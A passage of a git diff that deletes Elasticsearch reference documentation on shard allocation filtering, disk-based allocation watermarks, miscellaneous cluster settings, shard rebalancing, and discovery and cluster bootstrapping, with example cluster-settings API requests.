-be moved from one set of nodes to another. Shards are only relocated if it is
-possible to do so without breaking another routing constraint, such as never
-allocating a primary and replica shard on the same node.
-
-The most common use case for cluster-level shard allocation filtering is when
-you want to decommission a node. To move shards off of a node prior to shutting
-it down, you could create a filter that excludes the node by its IP address:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-  "transient" : {
-    "cluster.routing.allocation.exclude._ip" : "10.0.0.1"
-  }
-}
---------------------------------------------------
-
-[[cluster-routing-settings]]
-===== Cluster routing settings
-
-`cluster.routing.allocation.include.{attribute}`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Allocate shards to a node whose `{attribute}` has at least one of the
-    comma-separated values.
-
-`cluster.routing.allocation.require.{attribute}`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Only allocate shards to a node whose `{attribute}` has _all_ of the
-    comma-separated values.
-
-`cluster.routing.allocation.exclude.{attribute}`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    Do not allocate shards to a node whose `{attribute}` has _any_ of the
-    comma-separated values.
-
-The cluster allocation settings support the following built-in attributes:
-
-[horizontal]
-`_name`::       Match nodes by node name
-`_host_ip`::    Match nodes by host IP address (IP associated with hostname)
-`_publish_ip`:: Match nodes by publish IP address
-`_ip`::         Match either `_host_ip` or `_publish_ip`
-`_host`::       Match nodes by hostname
-`_id`::         Match nodes by node id
-`_tier`::       Match nodes by the node's <<data-tiers, data tier>> role
-
-NOTE: `_tier` filtering is based on <<modules-node, node>> roles. Only
-a subset of roles are <<data-tiers, data tier>> roles, and the generic
-<<data-node, data role>> will match any tier filtering.
-a subset of roles that are <<data-tiers, data tier>> roles, but the generic
-<<data-node, data role>> will match any tier filtering.
-
-
-You can use wildcards when specifying attribute values, for example:
-
-[source,console]
-------------------------
-PUT _cluster/settings
-{
-  "transient": {
-    "cluster.routing.allocation.exclude._ip": "192.168.2.*"
-  }
-}
-------------------------
diff --git a/docs/reference/modules/cluster/disk_allocator.asciidoc b/docs/reference/modules/cluster/disk_allocator.asciidoc
deleted file mode 100644
index 4e788a4e0f9..00000000000
--- a/docs/reference/modules/cluster/disk_allocator.asciidoc
+++ /dev/null
@@ -1,153 +0,0 @@
-[[disk-based-shard-allocation]]
-==== Disk-based shard allocation settings
-[[disk-based-shard-allocation-description]]
-// tag::disk-based-shard-allocation-description-tag[]
-
-The disk-based shard allocator ensures that all nodes have enough disk space
-without performing more shard movements than necessary. It allocates shards
-based on a pair of thresholds known as the _low watermark_ and the _high
-watermark_. Its primary goal is to ensure that no node exceeds the high
-watermark, or at least that any such overage is only temporary. If a node
-exceeds the high watermark then {es} will solve this by moving some of its
-shards onto other nodes in the cluster.
-
-NOTE: It is normal for nodes to temporarily exceed the high watermark from time
-to time.
-
-The allocator also tries to keep nodes clear of the high watermark by
-forbidding the allocation of more shards to a node that exceeds the low
-watermark. Importantly, if all of your nodes have exceeded the low watermark
-then no new shards can be allocated and {es} will not be able to move any
-shards between nodes in order to keep the disk usage below the high watermark.
-You must ensure that your cluster has enough disk space in total and that there
-are always some nodes below the low watermark.
-
-Shard movements triggered by the disk-based shard allocator must also satisfy
-all other shard allocation rules such as
-<<cluster-shard-allocation-filtering,allocation filtering>> and
-<<forced-awareness,forced awareness>>. If these rules are too strict then they
-can also prevent the shard movements needed to keep the nodes' disk usage under
-control. If you are using <<data-tiers,data tiers>> then {es} automatically
-configures allocation filtering rules to place shards within the appropriate
-tier, which means that the disk-based shard allocator works independently
-within each tier.
-
-If a node is filling up its disk faster than {es} can move shards elsewhere
-then there is a risk that the disk will completely fill up. To prevent this, as
-a last resort, once the disk usage reaches the _flood-stage_ watermark {es}
-will block writes to indices with a shard on the affected node. It will also
-continue to move shards onto the other nodes in the cluster.  When disk usage
-on the affected node drops below the high watermark, {es} automatically removes
-the write block.
-
-[[disk-based-shard-allocation-does-not-balance]]
-[TIP]
-====
-It is normal for the nodes in your cluster to be using very different amounts
-of disk space. The <<shards-rebalancing-settings,balance>> of the cluster
-depends only on the number of shards on each node and the indices to which
-those shards belong. It considers neither the sizes of these shards nor the
-available disk space on each node, for the following reasons:
-
-* Disk usage changes over time. Balancing the disk usage of individual nodes
-would require a lot more shard movements, perhaps even wastefully undoing
-earlier movements. Moving a shard consumes resources such as I/O and network
-bandwidth and may evict data from the filesystem cache. These resources are
-better spent handling your searches and indexing where possible.
-
-* A cluster with equal disk usage on every node typically performs no better
-than one that has unequal disk usage, as long as no disk is too full.
-====
-
-You can use the following settings to control disk-based allocation:
-
-[[cluster-routing-disk-threshold]]
-// tag::cluster-routing-disk-threshold-tag[]
-`cluster.routing.allocation.disk.threshold_enabled` {ess-icon}::
-(<<dynamic-cluster-setting,Dynamic>>)
-Defaults to `true`.  Set to `false` to disable the disk allocation decider.
-// end::cluster-routing-disk-threshold-tag[]
-
-[[cluster-routing-watermark-low]]
-// tag::cluster-routing-watermark-low-tag[]
-`cluster.routing.allocation.disk.watermark.low` {ess-icon}::
-(<<dynamic-cluster-setting,Dynamic>>)
-Controls the low watermark for disk usage. It defaults to `85%`, meaning that {es} will not allocate shards to nodes that have more than 85% disk used. It can also be set to an absolute byte value (like `500mb`) to prevent {es} from allocating shards if less than the specified amount of space is available. This setting has no effect on the primary shards of newly-created indices but will prevent their replicas from being allocated.
-// end::cluster-routing-watermark-low-tag[]
-
-[[cluster-routing-watermark-high]]
-// tag::cluster-routing-watermark-high-tag[]
-`cluster.routing.allocation.disk.watermark.high` {ess-icon}::
-(<<dynamic-cluster-setting,Dynamic>>)
-Controls the high watermark. It defaults to `90%`, meaning that {es} will attempt to relocate shards away from a node whose disk usage is above 90%. It can also be set to an absolute byte value (similarly to the low watermark) to relocate shards away from a node if it has less than the specified amount of free space. This setting affects the allocation of all shards, whether previously allocated or not.
-// end::cluster-routing-watermark-high-tag[]
-
-`cluster.routing.allocation.disk.watermark.enable_for_single_data_node`::
-    (<<static-cluster-setting,Static>>)
-    For a single data node, the default is to disregard disk watermarks when
-    making an allocation decision. This is deprecated behavior and will be
-    changed in 8.0. This setting can be set to `true` to enable the
-    disk watermarks for a single data node cluster (will become default in 8.0).
-
-[[cluster-routing-flood-stage]]
-// tag::cluster-routing-flood-stage-tag[]
-`cluster.routing.allocation.disk.watermark.flood_stage` {ess-icon}::
-+
---
-(<<dynamic-cluster-setting,Dynamic>>)
-Controls the flood stage watermark, which defaults to 95%. {es} enforces a read-only index block (`index.blocks.read_only_allow_delete`) on every index that has one or more shards allocated on the node, and that has at least one disk exceeding the flood stage. This setting is a last resort to prevent nodes from running out of disk space. The index block is automatically released when the disk utilization falls below the high watermark.
-
-NOTE: You cannot mix the usage of percentage values and byte values within
-these settings. Either all values are set to percentage values, or all are set to byte values. This enforcement is so that {es} can validate that the settings are internally consistent, ensuring that the low disk threshold is less than the high disk threshold, and the high disk threshold is less than the flood stage threshold.
-
-An example of resetting the read-only index block on the `my-index-000001` index:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_settings
-{
-  "index.blocks.read_only_allow_delete": null
-}
---------------------------------------------------
-// TEST[setup:my_index]
---
-// end::cluster-routing-flood-stage-tag[]
-
-`cluster.info.update.interval`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    How often {es} should check on disk usage for each node in the
-    cluster. Defaults to `30s`.
-
-`cluster.routing.allocation.disk.include_relocations`::
-
-    deprecated:[7.5.0, Future versions will always account for relocations.]
-    Defaults to +true+, which means that Elasticsearch will take into account
-    shards that are currently being relocated to the target node when computing
-    a node's disk usage. Taking relocating shards' sizes into account may,
-    however, mean that the disk usage for a node is incorrectly estimated on
-    the high side, since the relocation could be 90% complete and a recently
-    retrieved disk usage would include the total size of the relocating shard
-    as well as the space already used by the running relocation.
-
-
-NOTE: Percentage values refer to used disk space, while byte values refer to
-free disk space. This can be confusing, since it flips the meaning of high and
-low. For example, it makes sense to set the low watermark to 10gb and the high
-watermark to 5gb, but not the other way around.
-
-An example of updating the low watermark to at least 100 gigabytes free, a high
-watermark of at least 50 gigabytes free, and a flood stage watermark of 10
-gigabytes free, and updating the information about the cluster every minute:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-  "transient": {
-    "cluster.routing.allocation.disk.watermark.low": "100gb",
-    "cluster.routing.allocation.disk.watermark.high": "50gb",
-    "cluster.routing.allocation.disk.watermark.flood_stage": "10gb",
-    "cluster.info.update.interval": "1m"
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/modules/cluster/misc.asciidoc b/docs/reference/modules/cluster/misc.asciidoc
deleted file mode 100644
index a12e8ca390a..00000000000
--- a/docs/reference/modules/cluster/misc.asciidoc
+++ /dev/null
@@ -1,179 +0,0 @@
-[[misc-cluster-settings]]
-==== Miscellaneous cluster settings
-
-[[cluster-read-only]]
-===== Metadata
-
-An entire cluster may be set to read-only with the following setting:
-
-`cluster.blocks.read_only`::
-      (<<dynamic-cluster-setting,Dynamic>>)
-      Make the whole cluster read only (indices do not accept write
-      operations), metadata is not allowed to be modified (create or delete
-      indices).
-
-`cluster.blocks.read_only_allow_delete`::
-      (<<dynamic-cluster-setting,Dynamic>>)
-      Identical to `cluster.blocks.read_only` but allows to delete indices
-      to free up resources.
-
-WARNING: Don't rely on this setting to prevent changes to your cluster. Any
-user with access to the <<cluster-update-settings,cluster-update-settings>>
-API can make the cluster read-write again.
-
-
-[[cluster-shard-limit]]
-===== Cluster shard limit
-
-There is a soft limit on the number of shards in a cluster, based on the number
-of nodes in the cluster. This is intended to prevent operations which may
-unintentionally destabilize the cluster.
-
-IMPORTANT: This limit is intended as a safety net, not a sizing recommendation. The
-exact number of shards your cluster can safely support depends on your hardware
-configuration and workload, but should remain well below this limit in almost
-all cases, as the default limit is set quite high.
-
-If an operation, such as creating a new index, restoring a snapshot of an index,
-or opening a closed index would lead to the number of shards in the cluster
-going over this limit, the operation will fail with an error indicating the
-shard limit.
-
-If the cluster is already over the limit, due to changes in node membership or
-setting changes, all operations that create or open indices will fail until
-either the limit is increased as described below, or some indices are
-<<indices-open-close,closed>> or <<indices-delete-index,deleted>> to bring the
-number of shards below the limit.
-
-The cluster shard limit defaults to 1,000 shards per data node. 
-Both primary and replica shards of all open indices count toward the limit, 
-including unassigned shards. 
-For example, an open index with 5 primary shards and 2 replicas counts as 15 shards. 
-Closed indices do not contribute to the shard count. 
-
-You can dynamically adjust the cluster shard limit with the following setting:
-
-[[cluster-max-shards-per-node]]
-`cluster.max_shards_per_node`::
-+
---
-(<<dynamic-cluster-setting,Dynamic>>)
-Limits the total number of primary and replica shards for the cluster. {es}
-calculates the limit as follows:
-
-`cluster.max_shards_per_node * number of data nodes`
-
-Shards for closed indices do not count toward this limit. Defaults to `1000`.
-A cluster with no data nodes is unlimited.
-
-{es} rejects any request that creates more shards than this limit allows. For
-example, a cluster with a `cluster.max_shards_per_node` setting of `100` and
-three data nodes has a shard limit of 300. If the cluster already contains 296
-shards, {es} rejects any request that adds five or more shards to the cluster.
-
-NOTE: This setting does not limit shards for individual nodes. To limit the
-number of shards for each node, use the
-<<cluster-total-shards-per-node,`cluster.routing.allocation.total_shards_per_node`>>
-setting.
---
-
-[[user-defined-data]]
-===== User-defined cluster metadata
-
-User-defined metadata can be stored and retrieved using the Cluster Settings API.
-This can be used to store arbitrary, infrequently-changing data about the cluster
-without the need to create an index to store it. This data may be stored using
-any key prefixed with `cluster.metadata.`.  For example, to store the email
-address of the administrator of a cluster under the key `cluster.metadata.administrator`,
-issue this request:
-
-[source,console]
--------------------------------
-PUT /_cluster/settings
-{
-  "persistent": {
-    "cluster.metadata.administrator": "sysadmin@example.com"
-  }
-}
--------------------------------
-
-IMPORTANT: User-defined cluster metadata is not intended to store sensitive or
-confidential information. Any information stored in user-defined cluster
-metadata will be viewable by anyone with access to the
-<<cluster-get-settings,Cluster Get Settings>> API, and is recorded in the
-{es} logs.
-
-[[cluster-max-tombstones]]
-===== Index tombstones
-
-The cluster state maintains index tombstones to explicitly denote indices that
-have been deleted.  The number of tombstones maintained in the cluster state is
-controlled by the following setting:
-
-`cluster.indices.tombstones.size`::
-(<<static-cluster-setting,Static>>)
-Index tombstones prevent nodes that are not part of the cluster when a delete
-occurs from joining the cluster and reimporting the index as though the delete
-was never issued. To keep the cluster state from growing huge we only keep the
-last `cluster.indices.tombstones.size` deletes, which defaults to 500. You can
-increase it if you expect nodes to be absent from the cluster and miss more
-than 500 deletes. We think that is rare, thus the default. Tombstones don't take
-up much space, but we also think that a number like 50,000 is probably too big.
-
-include::{es-repo-dir}/indices/dangling-indices-list.asciidoc[tag=dangling-index-description]
-You can use the <<dangling-indices-api,Dangling indices API>> to manage
-this situation.
-
-[[cluster-logger]]
-===== Logger
-
-The settings which control logging can be updated <<dynamic-cluster-setting,dynamically>> with the
-`logger.` prefix.  For instance, to increase the logging level of the
-`indices.recovery` module to `DEBUG`, issue this request:
-
-[source,console]
--------------------------------
-PUT /_cluster/settings
-{
-  "transient": {
-    "logger.org.elasticsearch.indices.recovery": "DEBUG"
-  }
-}
--------------------------------
-
-
-[[persistent-tasks-allocation]]
-===== Persistent tasks allocation
-
-Plugins can create a kind of tasks called persistent tasks. Those tasks are
-usually long-lived tasks and are stored in the cluster state, allowing the
-tasks to be revived after a full cluster restart.
-
-Every time a persistent task is created, the master node takes care of
-assigning the task to a node of the cluster, and the assigned node will then
-pick up the task and execute it locally. The process of assigning persistent
-tasks to nodes is controlled by the following settings:
-
-`cluster.persistent_tasks.allocation.enable`::
-+
---
-(<<dynamic-cluster-setting,Dynamic>>)
-Enable or disable allocation for persistent tasks:
-
-* `all` -             (default) Allows persistent tasks to be assigned to nodes
-* `none` -            No allocations are allowed for any type of persistent task
-
-This setting does not affect the persistent tasks that are already being executed.
-Only newly created persistent tasks, or tasks that must be reassigned (after a node
-left the cluster, for example), are impacted by this setting.
---
-
-`cluster.persistent_tasks.allocation.recheck_interval`::
-     (<<dynamic-cluster-setting,Dynamic>>)
-     The master node will automatically check whether persistent tasks need to
-     be assigned when the cluster state changes significantly. However, there
-     may be other factors, such as memory usage, that affect whether persistent
-     tasks can be assigned to nodes but do not cause the cluster state to change.
-     This setting controls how often assignment checks are performed to react to
-     these factors. The default is 30 seconds. The minimum permitted value is 10
-     seconds.
diff --git a/docs/reference/modules/cluster/shards_allocation.asciidoc b/docs/reference/modules/cluster/shards_allocation.asciidoc
deleted file mode 100644
index e26e732e345..00000000000
--- a/docs/reference/modules/cluster/shards_allocation.asciidoc
+++ /dev/null
@@ -1,140 +0,0 @@
-[[cluster-shard-allocation-settings]]
-==== Cluster-level shard allocation settings
-
-You can use the following settings to control shard allocation and recovery:
-
-[[cluster-routing-allocation-enable]]
-`cluster.routing.allocation.enable`::
-+
---
-(<<dynamic-cluster-setting,Dynamic>>)
-Enable or disable allocation for specific kinds of shards:
-
-* `all` -             (default) Allows shard allocation for all kinds of shards.
-* `primaries` -       Allows shard allocation only for primary shards.
-* `new_primaries` -   Allows shard allocation only for primary shards for new indices.
-* `none` -            No shard allocations of any kind are allowed for any indices.
-
-This setting does not affect the recovery of local primary shards when
-restarting a node.  A restarted node that has a copy of an unassigned primary
-shard will recover that primary immediately, assuming that its allocation id matches
-one of the active allocation ids in the cluster state.
-
---
-
-`cluster.routing.allocation.node_concurrent_incoming_recoveries`::
-     (<<dynamic-cluster-setting,Dynamic>>)
-     How many concurrent incoming shard recoveries are allowed to happen on a node. Incoming recoveries are the recoveries
-     where the target shard (most likely the replica unless a shard is relocating) is allocated on the node. Defaults to `2`.
-
-`cluster.routing.allocation.node_concurrent_outgoing_recoveries`::
-     (<<dynamic-cluster-setting,Dynamic>>)
-     How many concurrent outgoing shard recoveries are allowed to happen on a node. Outgoing recoveries are the recoveries
-     where the source shard (most likely the primary unless a shard is relocating) is allocated on the node. Defaults to `2`.
-
-`cluster.routing.allocation.node_concurrent_recoveries`::
-     (<<dynamic-cluster-setting,Dynamic>>)
-     A shortcut to set both `cluster.routing.allocation.node_concurrent_incoming_recoveries` and
-     `cluster.routing.allocation.node_concurrent_outgoing_recoveries`.
-
-
-`cluster.routing.allocation.node_initial_primaries_recoveries`::
-    (<<dynamic-cluster-setting,Dynamic>>)
-    While the recovery of replicas happens over the network, the recovery of
-    an unassigned primary after node restart uses data from the local disk.
-    These should be fast so more initial primary recoveries can happen in
-    parallel on the same node.  Defaults to `4`.
-
-
-`cluster.routing.allocation.same_shard.host`::
-      (<<dynamic-cluster-setting,Dynamic>>)
-      Allows to perform a check to prevent allocation of multiple instances of
-      the same shard on a single host, based on host name and host address.
-      Defaults to `false`, meaning that no check is performed by default. This
-      setting only applies if multiple nodes are started on the same machine.
-
-[[shards-rebalancing-settings]]
-==== Shard rebalancing settings
-
-A cluster is _balanced_ when it has an equal number of shards on each node
-without having a concentration of shards from any index on any node. {es} runs
-an automatic process called _rebalancing_ which moves shards between the nodes
-in your cluster to improve its balance. Rebalancing obeys all other shard
-allocation rules such as <<cluster-shard-allocation-filtering,allocation
-filtering>> and <<forced-awareness,forced awareness>> which may prevent it from
-completely balancing the cluster. In that case, rebalancing strives to acheve
-the most balanced cluster possible within the rules you have configured. If you
-are using <<data-tiers,data tiers>> then {es} automatically applies allocation
-filtering rules to place each shard within the appropriate tier. These rules
-mean that the balancer works independently within each tier.
-
-You can use the following settings to control the rebalancing of shards across
-the cluster:
-
-`cluster.routing.rebalance.enable`::
-+
---
-(<<dynamic-cluster-setting,Dynamic>>)
-Enable or disable rebalancing for specific kinds of shards:
-
-* `all` -         (default) Allows shard balancing for all kinds of shards.
-* `primaries` -   Allows shard balancing only for primary shards.
-* `replicas` -    Allows shard balancing only for replica shards.
-* `none` -        No shard balancing of any kind are allowed for any indices.
---
-
-
-`cluster.routing.allocation.allow_rebalance`::
-+
---
-(<<dynamic-cluster-setting,Dynamic>>)
-Specify when shard rebalancing is allowed:
-
-
-* `always` -                    Always allow rebalancing.
-* `indices_primaries_active` -  Only when all primaries in the cluster are allocated.
-* `indices_all_active` -        (default) Only when all shards (primaries and replicas) in the cluster are allocated.
---
-
-`cluster.routing.allocation.cluster_concurrent_rebalance`::
-      (<<dynamic-cluster-setting,Dynamic>>)
-      Allow to control how many concurrent shard rebalances are
-      allowed cluster wide. Defaults to `2`. Note that this setting
-      only controls the number of concurrent shard relocations due
-      to imbalances in the cluster. This setting does not limit shard
-      relocations due to <<cluster-shard-allocation-filtering,allocation
-      filtering>> or <<forced-awareness,forced awareness>>.
-
-[[shards-rebalancing-heuristics]]
-==== Shard balancing heuristics settings
-
-Rebalancing works by computing a _weight_ for each node based on its allocation
-of shards, and then moving shards between nodes to reduce the weight of the
-heavier nodes and increase the weight of the lighter ones. The cluster is
-balanced when there is no possible shard movement that can bring the weight of
-any node closer to the weight of any other node by more than a configurable
-threshold. The following settings allow you to control the details of these
-calculations.
-
-`cluster.routing.allocation.balance.shard`::
-     (<<dynamic-cluster-setting,Dynamic>>)
-     Defines the weight factor for the total number of shards allocated on a node
-     (float). Defaults to `0.45f`.  Raising this raises the tendency to
-     equalize the number of shards across all nodes in the cluster.
-
-`cluster.routing.allocation.balance.index`::
-     (<<dynamic-cluster-setting,Dynamic>>)
-     Defines the weight factor for the number of shards per index allocated
-      on a specific node (float). Defaults to `0.55f`.  Raising this raises the
-      tendency to equalize the number of shards per index across all nodes in
-      the cluster.
-
-`cluster.routing.allocation.balance.threshold`::
-     (<<dynamic-cluster-setting,Dynamic>>)
-     Minimal optimization value of operations that should be performed (non
-      negative float). Defaults to `1.0f`.  Raising this will cause the cluster
-      to be less aggressive about optimizing the shard balance.
-
-
-NOTE: Regardless of the result of the balancing algorithm, rebalancing might
-not be allowed due to forced awareness or allocation filtering.
diff --git a/docs/reference/modules/discovery.asciidoc b/docs/reference/modules/discovery.asciidoc
deleted file mode 100644
index 0fb42cc7edf..00000000000
--- a/docs/reference/modules/discovery.asciidoc
+++ /dev/null
@@ -1,74 +0,0 @@
-[[modules-discovery]]
-== Discovery and cluster formation
-
-The discovery and cluster formation processes are responsible for discovering
-nodes, electing a master, forming a cluster, and publishing the cluster state
-each time it changes. All communication between nodes is done using the
-<<modules-transport,transport>> layer.
-
-The following processes and settings are part of discovery and cluster
-formation:
-
-<<modules-discovery-hosts-providers>>::
-
-    Discovery is the process where nodes find each other when the master is
-    unknown, such as when a node has just started up or when the previous
-    master has failed.
-
-<<modules-discovery-quorums>>::
-
-    How {es} uses a quorum-based voting mechanism to
-    make decisions even if some nodes are unavailable.
-
-<<modules-discovery-voting>>::
-
-    How {es} automatically updates voting configurations as nodes leave and join
-    a cluster.
-
-<<modules-discovery-bootstrap-cluster>>::
-
-    Bootstrapping a cluster is required when an {es} cluster starts up
-    for the very first time. In <<dev-vs-prod-mode,development mode>>, with no
-    discovery settings configured, this is automatically performed by the nodes
-    themselves. As this auto-bootstrapping is
-    <<modules-discovery-quorums,inherently unsafe>>, running a node in
-    <<dev-vs-prod-mode,production mode>> requires bootstrapping to be
-    explicitly configured via the
-    <<modules-discovery-bootstrap-cluster,`cluster.initial_master_nodes`
-    setting>>.
-
-<<modules-discovery-adding-removing-nodes,Adding and removing master-eligible nodes>>::
-
-    It is recommended to have a small and fixed number of master-eligible nodes
-    in a cluster, and to scale the cluster up and down by adding and removing
-    master-ineligible nodes only. However there are situations in which it may
-    be desirable to add or remove some master-eligible nodes to or from a
-    cluster. This section describes the process for adding or removing
-    master-eligible nodes, including the extra steps that need to be performed
-    when removing more than half of the master-eligible nodes at the same time.
-
-<<cluster-state-publishing>>::
-
-    Cluster state publishing is the process by which the elected master node
-    updates the cluster state on all the other nodes in the cluster.
-
-<<cluster-fault-detection>>::
-
-    {es} performs health checks to detect and remove faulty nodes.
-
-<<modules-discovery-settings,Settings>>::
-
-    There are settings that enable users to influence the discovery, cluster
-    formation, master election and fault detection processes.
-
-include::discovery/discovery.asciidoc[]
-
-include::discovery/quorums.asciidoc[]
-
-include::discovery/voting.asciidoc[]
-
-include::discovery/bootstrapping.asciidoc[]
-
-include::discovery/publishing.asciidoc[]
-
-include::discovery/fault-detection.asciidoc[]
diff --git a/docs/reference/modules/discovery/bootstrapping.asciidoc b/docs/reference/modules/discovery/bootstrapping.asciidoc
deleted file mode 100644
index d459bdb9204..00000000000
--- a/docs/reference/modules/discovery/bootstrapping.asciidoc
+++ /dev/null
@@ -1,147 +0,0 @@
-[[modules-discovery-bootstrap-cluster]]
-=== Bootstrapping a cluster
-
-Starting an Elasticsearch cluster for the very first time requires the initial
-set of <<master-node,master-eligible nodes>> to be explicitly defined on one or
-more of the master-eligible nodes in the cluster. This is known as _cluster
-bootstrapping_. This is only required the first time a cluster starts up: nodes
-that have already joined a cluster store this information in their data folder
-for use in a <<restart-upgrade,full cluster restart>>, and freshly-started nodes
-that are joining a running cluster obtain this information from the cluster's
-elected master.
-
-The initial set of master-eligible nodes is defined in the
-<<initial_master_nodes,`cluster.initial_master_nodes` setting>>. This should be
-set to a list containing one of the following items for each master-eligible
-node:
-
-- The <<node-name,node name>> of the node.
-- The node's hostname if `node.name` is not set, because `node.name` defaults
-  to the node's hostname. You must use either the fully-qualified hostname or
-  the bare hostname <<modules-discovery-bootstrap-cluster-fqdns,depending on
-  your system configuration>>.
-- The IP address of the node's <<modules-transport,publish address>>, if it is
-  not possible to use the `node.name` of the node. This is normally the IP
-  address to which <<common-network-settings,`network.host`>> resolves but
-  <<advanced-network-settings,this can be overridden>>.
-- The IP address and port of the node's publish address, in the form `IP:PORT`,
-  if it is not possible to use the `node.name` of the node and there are
-  multiple nodes sharing a single IP address.
-
-When you start a master-eligible node, you can provide this setting on the
-command line or in the `elasticsearch.yml` file. After the cluster has formed,
-this setting is no longer required. It should not be set for master-ineligible
-nodes, master-eligible nodes joining an existing cluster, or cluster restarts.
-
-It is technically sufficient to set `cluster.initial_master_nodes` on a single
-master-eligible node in the cluster, and only to mention that single node in the
-setting's value, but this provides no fault tolerance before the cluster has
-fully formed. It is therefore better to bootstrap using at least three
-master-eligible nodes, each with a `cluster.initial_master_nodes` setting
-containing all three nodes.
-
-WARNING: You must set `cluster.initial_master_nodes` to the same list of nodes
-on each node on which it is set in order to be sure that only a single cluster
-forms during bootstrapping and therefore to avoid the risk of data loss.
-
-For a cluster with 3 master-eligible nodes (with <<node-name,node names>>
-`master-a`, `master-b` and `master-c`) the configuration will look as follows:
-
-[source,yaml]
---------------------------------------------------
-cluster.initial_master_nodes:
-  - master-a
-  - master-b
-  - master-c
---------------------------------------------------
-
-Like all node settings, it is also possible to specify the initial set of master
-nodes on the command-line that is used to start Elasticsearch:
-
-[source,bash]
---------------------------------------------------
-$ bin/elasticsearch -Ecluster.initial_master_nodes=master-a,master-b,master-c
---------------------------------------------------
-
-[NOTE]
-==================================================
-
-[[modules-discovery-bootstrap-cluster-fqdns]] The node names used in the
-`cluster.initial_master_nodes` list must exactly match the `node.name`
-properties of the nodes. By default the node name is set to the machine's
-hostname which may or may not be fully-qualified depending on your system
-configuration. If each node name is a fully-qualified domain name such as
-`master-a.example.com` then you must use fully-qualified domain names in the
-`cluster.initial_master_nodes` list too; conversely if your node names are bare
-hostnames (without the `.example.com` suffix) then you must use bare hostnames
-in the `cluster.initial_master_nodes` list. If you use a mix of fully-qualifed
-and bare hostnames, or there is some other mismatch between `node.name` and
-`cluster.initial_master_nodes`, then the cluster will not form successfully and
-you will see log messages like the following.
-
-[source,text]
---------------------------------------------------
-[master-a.example.com] master not discovered yet, this node has
-not previously joined a bootstrapped (v7+) cluster, and this
-node must discover master-eligible nodes [master-a, master-b] to
-bootstrap a cluster: have discovered [{master-b.example.com}{...
---------------------------------------------------
-
-This message shows the node names `master-a.example.com` and
-`master-b.example.com` as well as the `cluster.initial_master_nodes` entries
-`master-a` and `master-b`, and it is clear from this message that they do not
-match exactly.
-
-==================================================
-
-[discrete]
-==== Choosing a cluster name
-
-The <<cluster-name,`cluster.name`>> setting enables you to create multiple
-clusters which are separated from each other. Nodes verify that they agree on
-their cluster name when they first connect to each other, and Elasticsearch
-will only form a cluster from nodes that all have the same cluster name. The
-default value for the cluster name is `elasticsearch`, but it is recommended to
-change this to reflect the logical name of the cluster.
-
-[discrete]
-==== Auto-bootstrapping in development mode
-
-If the cluster is running with a completely default configuration then it will
-automatically bootstrap a cluster based on the nodes that could be discovered to
-be running on the same host within a short time after startup. This means that
-by default it is possible to start up several nodes on a single machine and have
-them automatically form a cluster which is very useful for development
-environments and experimentation.  However, since nodes may not always
-successfully discover each other quickly enough this automatic bootstrapping
-cannot be relied upon and cannot be used in production deployments.
-
-If any of the following settings are configured then auto-bootstrapping will not
-take place, and you must configure `cluster.initial_master_nodes` as described
-in the <<modules-discovery-bootstrap-cluster,section on cluster bootstrapping>>:
-
-* `discovery.seed_providers`
-* `discovery.seed_hosts`
-* `cluster.initial_master_nodes`
-
-[NOTE]
-==================================================
-
-[[modules-discovery-bootstrap-cluster-joining]] If you start an {es} node
-without configuring these settings then it will start up in development mode and
-auto-bootstrap itself into a new cluster. If you start some {es} nodes on
-different hosts then by default they will not discover each other and will form
-a different cluster on each host. {es} will not merge separate clusters together
-after they have formed, even if you subsequently try and configure all the nodes
-into a single cluster. This is because there is no way to merge these separate
-clusters together without a risk of data loss. You can tell that you have formed
-separate clusters by checking the cluster UUID reported by `GET /` on each node.
-If you intended to form a single cluster then you should start again:
-
-* Shut down all the nodes.
-* Completely wipe each node by deleting the contents of their
-  <<data-path,data folders>>.
-* Configure `cluster.initial_master_nodes` as described above.
-* Restart all the nodes and verify that they have formed a single cluster.
-
-==================================================
diff --git a/docs/reference/modules/discovery/discovery-settings.asciidoc b/docs/reference/modules/discovery/discovery-settings.asciidoc
deleted file mode 100644
index 7659262db5e..00000000000
--- a/docs/reference/modules/discovery/discovery-settings.asciidoc
+++ /dev/null
@@ -1,268 +0,0 @@
-[[modules-discovery-settings]]
-=== Discovery and cluster formation settings
-
-<<modules-discovery,Discovery and cluster formation>> are affected by the
-following settings:
-
-`discovery.seed_hosts`::
-+
---
-(<<static-cluster-setting,Static>>)
-Provides a list of the addresses of the master-eligible nodes in the cluster.
-May also be a single string containing the addresses separated by commas. Each
-address has the format `host:port` or `host`. The `host` is either a host name
-to be resolved by DNS, an IPv4 address, or an IPv6 address. IPv6 addresses
-must be enclosed in square brackets. If a host name resolves via DNS to multiple
-addresses, {es} uses all of them. DNS lookups are subject to
-<<networkaddress-cache-ttl,JVM DNS caching>>. If the `port` is not given then it
-is determined by checking the following settings in order:
-
-. `transport.profiles.default.port`
-. `transport.port`
-
-If neither of these is set then the default port is `9300`. The default value
-for `discovery.seed_hosts` is `["127.0.0.1", "[::1]"]`. See <<unicast.hosts>>.
-
-This setting was previously known as `discovery.zen.ping.unicast.hosts`. Its
-old name is deprecated but continues to work in order to preserve backwards
-compatibility. Support for the old name will be removed in a future version.
---
-
-`discovery.seed_providers`::
-(<<static-cluster-setting,Static>>)
-Specifies which types of <<built-in-hosts-providers,seed hosts provider>> to
-use to obtain the addresses of the seed nodes used to start the discovery
-process. By default, it is the
-<<settings-based-hosts-provider,settings-based seed hosts provider>> which
-obtains the seed node addresses from the `discovery.seed_hosts` setting.
-This setting was previously known as `discovery.zen.hosts_provider`. Its old
-name is deprecated but continues to work in order to preserve backwards
-compatibility. Support for the old name will be removed in a future version.
-
-`discovery.type`::
-(<<static-cluster-setting,Static>>)
-Specifies whether {es} should form a multiple-node cluster. By default, {es}
-discovers other nodes when forming a cluster and allows other nodes to join
-the cluster later. If `discovery.type` is set to `single-node`, {es} forms a
-single-node cluster and suppresses the timeout set by
-`cluster.publish.timeout`. For more information about when you might use
-this setting, see <<single-node-discovery>>.
-
-`cluster.initial_master_nodes`::
-(<<static-cluster-setting,Static>>)
-Sets the initial set of master-eligible nodes in a brand-new cluster. By default
